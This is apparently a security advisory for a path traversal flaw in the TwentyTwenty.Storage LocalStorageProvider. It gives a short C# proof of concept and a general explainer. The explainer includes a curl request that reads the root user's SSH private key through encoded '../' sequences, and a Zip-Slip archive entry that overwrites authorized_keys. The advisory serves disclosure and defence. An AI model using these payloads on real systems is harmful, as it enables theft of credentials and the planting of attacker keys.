Directory Traversal Affecting twentytwenty.storage package, versions [2.11.0, 2.11.1)

TwentyTwenty.Storage is a cross-cloud storage abstraction library.

Affected versions of this package are vulnerable to Directory Traversal. A Path Traversal vulnerability exists in LocalStorageProvider that allows creation and reading of files outside of the specified basepath. If the application using this library does not sanitize user-supplied filenames, then this issue may be exploited to read or write arbitrary files. This affects the LocalStorageProvider.cs file within the package.

using System.IO;
using TwentyTwenty.Storage;
using TwentyTwenty.Storage.Local;

namespace SecurityTesting
{
    class Program
    {
        static void Main(string[] args)
        {
            SaveFile("testfile.txt");
            
            //use a traversal sequence to escape 2 levels above
            SaveFile("../../traversal.txt");
        }

        public async static void SaveFile(string fileName)
        {
            var container = "container01";
            IStorageProvider provider = new LocalStorageProvider("bucketrootbasepath");
            await provider.SaveBlobStreamAsync(container, fileName, GetFileContentsStream());
        }

        public static Stream GetFileContentsStream()
        {
            var stream = new MemoryStream();
            var writer = new StreamWriter(stream);
            writer.Write("File contents");
            writer.Flush();
            stream.Position = 0;
            return stream;
        }
    }
}

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

• 20|20 Storage Path Traversal
• GitHub Commit